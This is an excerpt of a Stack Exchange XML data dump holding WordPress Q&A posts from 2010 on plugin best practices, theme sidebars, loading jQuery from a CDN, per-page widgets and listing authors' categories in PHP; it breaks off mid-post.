  <row Id="795" PostTypeId="2" ParentId="715" CreationDate="2010-08-24T06:43:32.870" Score="19" ViewCount="" Body="&lt;h2&gt;First Use Existing Functions in WordPress Core&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you can: &lt;strong&gt;use existing functions included in WordPress core&lt;/strong&gt; instead of writing your own. Only develop custom PHP functions when there is not an appropriate pre-existing function in WordPress core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One benefit is you can use &lt;em&gt;&quot;log deprecated notices&quot;&lt;/em&gt; to easily monitor functions that should be replaced. Another benefit is users can view the function documentation in the Codex and better understand what the plugin does even if they are not an experienced PHP developer.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Related&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/752#752&quot;&gt;I18n support&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/719#719&quot;&gt;Load Scripts/CSS with wp_enqueue_script and wp_enqueue_style&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/789#789&quot;&gt;Offer Extensible Forms&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2010-08-29T14:09:32.437" LastActivityDate="2010-08-29T14:09:32.437" CommunityOwnedDate="2010-08-24T06:43:32.870" CommentCount="5" />
  <row Id="797" PostTypeId="2" ParentId="715" CreationDate="2010-08-24T07:02:38.427" Score="6" ViewCount="" Body="&lt;h2&gt;Use Proper Names&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Name hooks and filters&lt;/strong&gt; (classes, functions and vars), so &lt;strong&gt;that people can identify them in even a year&lt;/strong&gt;, when they don't remember any more, where that piece of cake or code comes from. It doesn't matter if hook/filter names get long. Ex. youruniquename_hook/filter_whatitdoes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If your file contains a class named &quot;dbdbInit&quot;, then the file that contains the class should be named &quot;&lt;code&gt;dbdbInit.class.php&lt;/code&gt;&quot;.&lt;/li&gt;&#xA;&lt;li&gt;If you got inside your &lt;code&gt;dbdbInit&lt;/code&gt;-class a function that registers ex. custom_post_types, then call it &lt;code&gt;register_custom_post_types()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If you got an array that contains the names for custom_post_types, then call the variable where the array is assigned &lt;code&gt;$custom_post_type_names&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If you got a function that handles an array write &lt;code&gt;function array_handler( $array ) { // handle the array}&lt;/code&gt;..&lt;/li&gt;&#xA;&lt;li&gt;Just try to name things in a way that you know what the sign does/where it belongs to by it's name.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another thing: If you have to debug stuff then, in 99% of all cases, you get all your messages for not only your code, but for wordpress too. So try to use the same prefix ex. &quot;&lt;code&gt;dbdb&lt;/code&gt;&quot; for your classes, public functions and variables/objects. This way you can find them easily between hundreds of files. (Wordpress loads 64 files before your theme and about 1,550 functions, not talking about hooks and filters.)&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="172" LastEditorDisplayName="" LastEditDate="2011-02-17T16:35:41.723" LastActivityDate="2011-02-17T16:35:41.723" CommunityOwnedDate="2010-08-24T07:02:38.427" CommentCount="2" />
  <row Id="798" PostTypeId="1" AcceptedAnswerId="800" CreationDate="2010-08-24T07:39:47.627" Score="1" ViewCount="120" Body="&lt;p&gt;I am using a wordpress theme which has just header and footer .I w'd like to continue using it by changing the width and adding side bars .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could any one help me to change the width(to fit to the screen) of the theme .Does anybody have an Idea adding side bars ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;==========&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for not making clear in my earlier question .The theme I am using is Minicard (http://blue-anvil.com/download/?did=32)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lines similar to ...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if (&#xA;  function_exists('register_sidebar') )&#xA;  register_sidebar(array( 'name' =&gt;&#xA;  'Sidebar Widgets', 'before_widget' =&gt;&#xA;  '',&#xA;  'after_widget' =&gt; '',&#xA;  'before_title' =&gt; '', 'after_title'&#xA;  =&gt; '', ));&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;are already there .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I found there :&#xA;if ( function_exists('register_sidebar') ) {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_sidebar(array(&#xA;    'name' =&amp;gt; __('Beneath the Card (Top)', 'minicard'),&#xA;    'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget %2$s&quot;&amp;gt;',&#xA;    'after_widget' =&amp;gt; '&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;',&#xA;    'before_title' =&amp;gt; '&amp;lt;h2 class=&quot;section widgettitle&quot;&amp;gt;',&#xA;    'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;));&#xA;register_sidebar(array(&#xA;    'name' =&amp;gt; __('Beneath the Card (Bottom)', 'minicard'),&#xA;    'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget %2$s&quot;&amp;gt;',&#xA;    'after_widget' =&amp;gt; '&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;',&#xA;    'before_title' =&amp;gt; '&amp;lt;h2 class=&quot;section widgettitle&quot;&amp;gt;',&#xA;    'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I have create sidebar.php and added the code you have given for side bar . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later I have have tried to added the code&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blockquote&lt;/p&gt;&#xA;  &#xA;  &lt;h1&gt;sidebar {&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;width: 240px;&#xA;float:right;&#xA;padding:0 20px 20px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Blockquote&#xA;   to CSS &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After making the changes I have looked for sidebar and I have not found any additional sidebar .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       Thank you !&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2010-08-28T03:52:24.277" LastActivityDate="2010-08-28T03:52:24.277" CommunityOwnedDate="2010-08-28T03:52:24.277" Title="Is there possibility to Customize the present theme adding sidebars" Tags="&lt;sidebar&gt;&lt;themes&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="799" PostTypeId="2" ParentId="656" CreationDate="2010-08-24T08:08:30.257" Score="2" ViewCount="" Body="&lt;p&gt;You need a so called profiler to measure which part of your application does make use of CPU and Memory Resources. &lt;a href=&quot;http://www.xdebug.org/docs/profiler&quot; rel=&quot;nofollow&quot;&gt;XDebug&lt;/a&gt; is such a profiler for example. Using it will show you exactly which part of your application uses how much of CPU and memory.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-24T08:08:30.257" CommentCount="2" />
  <row Id="800" PostTypeId="2" ParentId="798" CreationDate="2010-08-24T08:29:22.100" Score="0" ViewCount="" Body="&lt;p&gt;generally you can change the width from style.css located in the themes directory ( use firebug to determine the element ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for adding sidebars... use this &lt;a href=&quot;http://www.balkhis.com/web-designs-resources/how-to-add-a-dynamic-sidebar-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="392" LastActivityDate="2010-08-24T08:29:22.100" CommentCount="1" />
  <row Id="801" PostTypeId="1" AcceptedAnswerId="803" CreationDate="2010-08-24T09:01:23.223" Score="2" ViewCount="220" Body="&lt;p&gt;I recently added the following into my theme's &lt;code&gt;functions.php&lt;/code&gt;, in order to load jQuery from the CDN:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init_method() {&#xA;    wp_deregister_script('jquery');&#xA;    wp_register_script('jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js');&#xA;}&#xA;&#xA;add_action('init', 'my_init_method');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this causes problems with the admin screens, notably the WYSIWYG editor which then refuses to allow HTML mode (via the tab). I get an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from the wp-admin/load_scripts.php file. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2010-08-24T09:21:39.640" Title="Registering jQuery kills admin functions" Tags="&lt;wp-admin&gt;&lt;jquery&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="802" PostTypeId="2" ParentId="798" CreationDate="2010-08-24T09:07:07.067" Score="1" ViewCount="" Body="&lt;p&gt;@user391,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use sidebar widgets add the following code to your functions.php file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Sidebar Widgets',&#xA;        'before_widget' =&amp;gt; '&amp;lt;div id=&quot;%1$s&quot; class=&quot;widget %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widgettitle&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;    ));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you will need to determine the css id or class that wraps your main content or posts.  Usually this can be found by looking at your index.php file right underneath &lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see something like &lt;code&gt;&amp;lt;div id=&quot;content&quot;&amp;gt;&lt;/code&gt; but it might be named something else.  At the bottom of the page look for the closing div ie: &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt; which is usually right before &lt;code&gt;&amp;lt;?php get_footer(); ?&amp;gt;&lt;/code&gt; some themes will close the content divs in footer.php if this is the case you will need to remove it from footer.php and put it right before &lt;code&gt;&amp;lt;?php get_footer(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you need to add &lt;code&gt;&amp;lt;?php get_sidebar(); ?&amp;gt;&lt;/code&gt; after the closing div and before &lt;code&gt;&amp;lt;?php get_footer(); ?&amp;gt;&lt;/code&gt; and create a new template file named sidebar.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following code to sidebar.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sidebar&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Sidebar Widgets') ) : ?&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/sidebar--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next you will have to modify your CSS to accommodate the sidebar.  Find &lt;code&gt;#content&lt;/code&gt; or the id or class name you found above and change the width and float it left and add your sidebar we just created above. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#content {&#xA;    width:620px;&#xA;    float:left&#xA;    }&#xA;&#xA;#sidebar {&#xA;    width: 240px;&#xA;    float:right;&#xA;    padding:0 20px 20px;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might have to adjust the widths depending on the width of the main wrapper div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now add content to the sidebar by using the widgets in your WordPress dashboard.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-24T09:07:07.067" CommentCount="2" />
  <row Id="803" PostTypeId="2" ParentId="801" CreationDate="2010-08-24T09:21:39.640" Score="5" ViewCount="" Body="&lt;blockquote&gt;jQuery is not defined&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is because the Google CDN Jquery is not in no-conflict mode.  Use the following to make sure the included WordPress no-conflict jquery is used in admin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !is_admin()){&#xA;   wp_deregister_script('jquery'); &#xA;   wp_register_script('jquery', (&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js&quot;), false, '1.4.2'); &#xA;   wp_enqueue_script('jquery');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-24T09:21:39.640" CommentCount="2" />
  <row Id="805" PostTypeId="1" AcceptedAnswerId="818" CreationDate="2010-08-24T10:01:14.273" Score="1" ViewCount="1357" Body="&lt;p&gt;Let's say I'm doing a site about cars, and in the main content area of a Page (using a certain template), there are a few paragraphs about a particular car.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the sidebar, are several standard widgets. But I also want a widget with an 'info panel' about the particular car.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's the sanest way of putting in a per-page widget in Wordpress? I guess ideally the info-panel could be entered via the standard page editing in Wordpress .. perhaps via the Custom Fields, so you could enter &quot;Volvo&quot; for the Manufacturer field and it would show up in the sidebar. (or is this something a plug-in already covers?)&lt;/p&gt;&#xA;" OwnerUserId="394" LastEditorUserId="394" LastEditorDisplayName="" LastEditDate="2010-08-24T15:04:04.600" LastActivityDate="2011-05-26T20:54:29.693" Title="Custom per-page sidebar widgets .. possible?" Tags="&lt;custom-field&gt;&lt;css&gt;&lt;sidebar&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="807" PostTypeId="1" AcceptedAnswerId="815" CreationDate="2010-08-24T10:18:43.053" Score="3" ViewCount="159" Body="&lt;p&gt;WordPress is undoubtely very customizable using plugins, but every customization possibility surely has limits defined by the underlying architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those familiar with WP architecture and source code: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the effort required to customize the data layer used by WP to use another data store (e.g. files (or another database system) instead of MySQL?). Is WordPress architecture layered in the sense of having the possibility to switch layers? The UI layer is apparently very easy to switch (any theme does this), but how about other layers, namely the data layer?&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2010-08-25T11:13:31.807" Title="Is it possible to switch the data layer within WordPress?" Tags="&lt;database&gt;&lt;customization&gt;" AnswerCount="3" />
  <row Id="808" PostTypeId="2" ParentId="807" CreationDate="2010-08-24T10:52:33.207" Score="1" ViewCount="" Body="&lt;p&gt;It's possible: see the &lt;a href=&quot;http://codex.wordpress.org/HyperDB&quot; rel=&quot;nofollow&quot;&gt;HyperDB&lt;/a&gt; replacement for &lt;code&gt;wpdb&lt;/code&gt;. HyperDB adds partitioning and replication to WordPress. Partitioning works by connecting to multiple databases and using the table name to determine which database should run the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, &lt;code&gt;$wpdb&lt;/code&gt; just gets a SQL query, and it's free to do what it wants with the data within that query. HyperDB queries MySQL just like the original &lt;code&gt;wpdb&lt;/code&gt; class. Extending that to different databases would require modifying any non-compliant queries before they are executed. If your data store doesn't accept SQL at all, you would have to translate the incoming query to whatever other API you're using. Anything is possible with enough time and effort, but it sounds like a pretty miserable undertaking to me. ;)&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-24T10:52:33.207" />
  <row Id="809" PostTypeId="1" AcceptedAnswerId="1260" CreationDate="2010-08-24T12:10:53.733" Score="2" ViewCount="113" Body="&lt;p&gt;I just ran over a problem to properly use the count of external (meaning no relative or absolute links to my own blog) links on my blog for the &lt;em&gt;Comment Moderation&lt;/em&gt; count Option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's labeled &lt;em&gt;Hold a comment in the queue if it contains [your number here] or more links. (A common characteristic of comment spam is a large number of hyperlinks.)&lt;/em&gt; on Settings -&gt; Discussion in the Wordpress Back-end. Screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/cd9Ok.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware that currently it counts all links inkl. links to the blog and other comments (reported it here: &lt;a href=&quot;https://core.trac.wordpress.org/ticket/14681&quot; rel=&quot;nofollow&quot;&gt;#14681&lt;/a&gt;) but I can't imagine that there isn't a plugin or hack already available that properly corrects the count to only external links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: Is there a plugin / hack that makes Wordpress properly count only the external links in comments for it's Moderation Options?&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-24T15:05:24.393" LastActivityDate="2011-03-24T05:34:29.300" Title="Number of External Links in Comments - Moderation Option" Tags="&lt;comments&gt;&lt;spam&gt;&lt;links&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="810" PostTypeId="2" ParentId="791" CreationDate="2010-08-24T12:12:11.707" Score="1" ViewCount="" Body="&lt;p&gt;There are several ways to do that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Include a page (that does not appear in the menu)&lt;/li&gt;&#xA;&lt;li&gt;Include a post&lt;/li&gt;&#xA;&lt;li&gt;Add an option page to the theme, this page will include  the text field you need here.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Options 1,2 can be implemented using query_posts.&#xA;Option 3 can be foind &lt;a href=&quot;http://www.nometech.com/blog/create-an-awesome-wordpress-theme-options-page-part-1/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-08-24T12:12:11.707" />
  <row Id="811" PostTypeId="2" ParentId="805" CreationDate="2010-08-24T12:17:37.877" Score="2" ViewCount="" Body="&lt;p&gt;There are some plugins that enable you to do that. &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-context/&quot; rel=&quot;nofollow&quot;&gt;contextual-widgets&lt;/a&gt; for example.&#xA;The other way is to create a different sidebar for the &quot;page&quot; /&quot;post&quot; template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A different way is to put a static code in your sidebar.php that checks if you're in &quot;page&quot; or &quot;single&quot; and if so &quot;prints&quot; the info you've entered in the custom fields.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditorDisplayName="" LastEditDate="2010-08-25T07:00:36.580" LastActivityDate="2010-08-25T07:00:36.580" />
  <row Id="812" PostTypeId="2" ParentId="791" CreationDate="2010-08-24T12:19:53.577" Score="2" ViewCount="" Body="&lt;p&gt;You can but I think it's far more easier for you theme to add a sidebar and then place a text-widget (or any other widget) inside there because that's far more flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you describe I did for some sites longer ago. You can just load the post and display it. I used &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;query_posts()&lt;/code&gt;&lt;/a&gt; to get the post(s) and then &lt;code&gt;have_posts()&lt;/code&gt;, &lt;code&gt;query_posts()&lt;/code&gt;, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_content&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_content()&lt;/code&gt;&lt;/a&gt; and so on to display it within the template files (e.g. probably &lt;code&gt;footer.php&lt;/code&gt; in your case).&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-24T12:19:53.577" CommentCount="2" />
  <row Id="813" PostTypeId="1" CreationDate="2010-08-24T12:20:08.257" Score="0" ViewCount="329" Body="&lt;p&gt;I am trying to make a &quot;contributors&quot; page where there is a list of authors and the categories they have posted in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to use this code to do this for a single author on a single post page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    $cat_array = array();&#xA;    $args=array(&#xA;     'author' =&amp;gt; get_the_author_meta('id'),&#xA;     'showposts'=&amp;gt;-1,&#xA;     'caller_get_posts'=&amp;gt;1&#xA;    );&#xA;    $author_posts = get_posts($args);&#xA;    if( $author_posts ) {&#xA;      foreach ($author_posts as $author_post ) {&#xA;        foreach(get_the_category($author_post-&amp;gt;ID) as $category) {&#xA;          $cat_array[$category-&amp;gt;term_id] =  $category-&amp;gt;term_id;&#xA;        }&#xA;      }&#xA;    }&#xA;&#xA;    $cat_ids = implode(',', $cat_array);&#xA;    $output = strtr( wp_list_categories( 'include='.$cat_ids.'&amp;amp;title_li=&amp;amp;style=none&amp;amp;echo=0' ), array( '&amp;lt;br /&amp;gt;' =&amp;gt; ' / ' ) );&#xA;    echo preg_replace( '@\s/\s\n$@', '', $output );&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I try and plug that bit into my list authors function (so that each author in the list has their respective categories displayed) The list of categories displays at the top of the page (not in the div where I put the code) and in the div where it's supposed to display, it simply says &quot;array&quot;. I think this is a question of syntax as I am kind of a PHP newb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the list authors function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//My List Authors Function&#xA;function my_list_authors($args = '') {&#xA;    global $wpdb;&#xA;    global $wp_query;&#xA;$author = get_query_var('author');&#xA;function authorCats() {&#xA;$categories = $wpdb-&amp;gt;get_results(&quot;&#xA;    SELECT DISTINCT(terms.term_id) as ID, terms.name, terms.slug, tax.description&#xA;    FROM $wpdb-&amp;gt;posts as posts&#xA;    LEFT JOIN $wpdb-&amp;gt;term_relationships as relationships ON posts.ID = relationships.object_ID&#xA;    LEFT JOIN $wpdb-&amp;gt;term_taxonomy as tax ON relationships.term_taxonomy_id = tax.term_taxonomy_id&#xA;    LEFT JOIN $wpdb-&amp;gt;terms as terms ON tax.term_id = terms.term_id&#xA;    WHERE 1=1 AND (&#xA;        posts.post_status = 'publish' AND&#xA;        posts.post_author = '$author' AND&#xA;        tax.taxonomy = 'category' )&#xA;    ORDER BY terms.name ASC&#xA;&quot;);&#xA;foreach($categories as $category) :&#xA;echo '&amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;'.get_category_link( $category-&amp;gt;ID ).'&quot; title=&quot;'.$category-&amp;gt;name.'&quot;&amp;gt;&#xA;            '.$category-&amp;gt;name.'&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;';&#xA;endforeach;&#xA;}&#xA;    $defaults = array(&#xA;        'optioncount' =&amp;gt; false, 'exclude_admin' =&amp;gt; true,&#xA;        'show_fullname' =&amp;gt; false, 'hide_empty' =&amp;gt; true,&#xA;        'feed' =&amp;gt; '', 'feed_image' =&amp;gt; '', 'feed_type' =&amp;gt; '', 'echo' =&amp;gt; true,&#xA;        'style' =&amp;gt; 'list', 'html' =&amp;gt; true&#xA;    );&#xA;&#xA;    $r = wp_parse_args( $args, $defaults );&#xA;    extract($r, EXTR_SKIP);&#xA;    $return = '';&#xA;&#xA;    /** @todo Move select to get_authors(). */&#xA;    $users = get_users_of_blog();&#xA;    $author_ids = array();&#xA;    foreach ( (array) $users as $user )&#xA;        $author_ids[] = $user-&amp;gt;user_id;&#xA;    if ( count($author_ids) &amp;gt; 0  ) {&#xA;        $author_ids = implode(',', $author_ids );&#xA;        $authors = $wpdb-&amp;gt;get_results( &quot;SELECT ID, user_nicename from $wpdb-&amp;gt;users WHERE ID IN($author_ids) &quot; . ($exclude_admin ? &quot;AND user_login &amp;lt;&amp;gt; 'admin' &quot; : '') . &quot;ORDER BY display_name&quot; );&#xA;    } else {&#xA;        $authors = array();&#xA;    }&#xA;&#xA;    $author_count = array();&#xA;    foreach ( (array) $wpdb-&amp;gt;get_results(&quot;SELECT DISTINCT post_author, COUNT(ID) AS count FROM $wpdb-&amp;gt;posts WHERE post_type = 'post' AND &quot; . get_private_posts_cap_sql( 'post' ) . &quot; GROUP BY post_author&quot;) as $row )&#xA;        $author_count[$row-&amp;gt;post_author] = $row-&amp;gt;count;&#xA;&#xA;    foreach ( (array) $authors as $author ) {&#xA;&#xA;        $link = '';&#xA;&#xA;        $author = get_userdata( $author-&amp;gt;ID );&#xA;        $posts = (isset($author_count[$author-&amp;gt;ID])) ? $author_count[$author-&amp;gt;ID] : 0;&#xA;        $name = $author-&amp;gt;display_name;&#xA;&#xA;        if ( $show_fullname &amp;amp;&amp;amp; ($author-&amp;gt;first_name != '' &amp;amp;&amp;amp; $author-&amp;gt;last_name != '') )&#xA;            $name = &quot;$author-&amp;gt;first_name $author-&amp;gt;last_name&quot;;&#xA;&#xA;        if( !$html ) {&#xA;            if ( $posts == 0 ) {&#xA;                if ( ! $hide_empty )&#xA;                    $return .= $name . ', ';&#xA;            } else&#xA;                $return .= $name . ', ';&#xA;&#xA;            // No need to go further to process HTML.&#xA;            continue;&#xA;        }&#xA;&#xA;        $authorAvatar = get_avatar($author-&amp;gt;ID);&#xA;&#xA;        if ( !($posts == 0 &amp;amp;&amp;amp; $hide_empty) &amp;amp;&amp;amp; 'list' == $style )&#xA;            $return .= '&#xA;            &amp;lt;div class=&quot;authorBox&quot;&amp;gt;&#xA;                '.$authorAvatar.'&#xA;                &amp;lt;table&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;td class=&quot;authorLabel&quot;&amp;gt;Founder &amp;amp; Editor:&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td class=&quot;authorData&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;'.$author-&amp;gt;nickname.'&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;td class=&quot;authorLabel&quot;&amp;gt;Location:&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td class=&quot;authorData&quot;&amp;gt;'. $author-&amp;gt;location .'&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;td class=&quot;authorLabel&quot;&amp;gt;Industry:&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td class=&quot;authorData&quot;&amp;gt;Advertising&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;';&#xA;            if ( $author-&amp;gt;twitter != '' ) {&#xA;            $return .= &#xA;                    '&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;td class=&quot;authorLabel&quot;&amp;gt;Website:&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td class=&quot;authorData&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;'.$author-&amp;gt;user_url.'&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;last&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;authorLabel&quot;&amp;gt;Twitter:&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td class=&quot;authorData&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;'.$author-&amp;gt;twitter.'&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;';&#xA;            } else {&#xA;            $return .= '&#xA;                    &amp;lt;tr class=&quot;last&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;authorLabel&quot;&amp;gt;Website:&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td class=&quot;authorData&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;'.$author-&amp;gt;user_url.'&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;';&#xA;            }&#xA;            $return .= '&#xA;                &amp;lt;/table&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;bioBox&quot;&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        &amp;lt;li class=&quot;bioTab&quot;&amp;gt;&amp;lt;a&amp;gt;Bio&amp;lt;/a&amp;gt; &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li 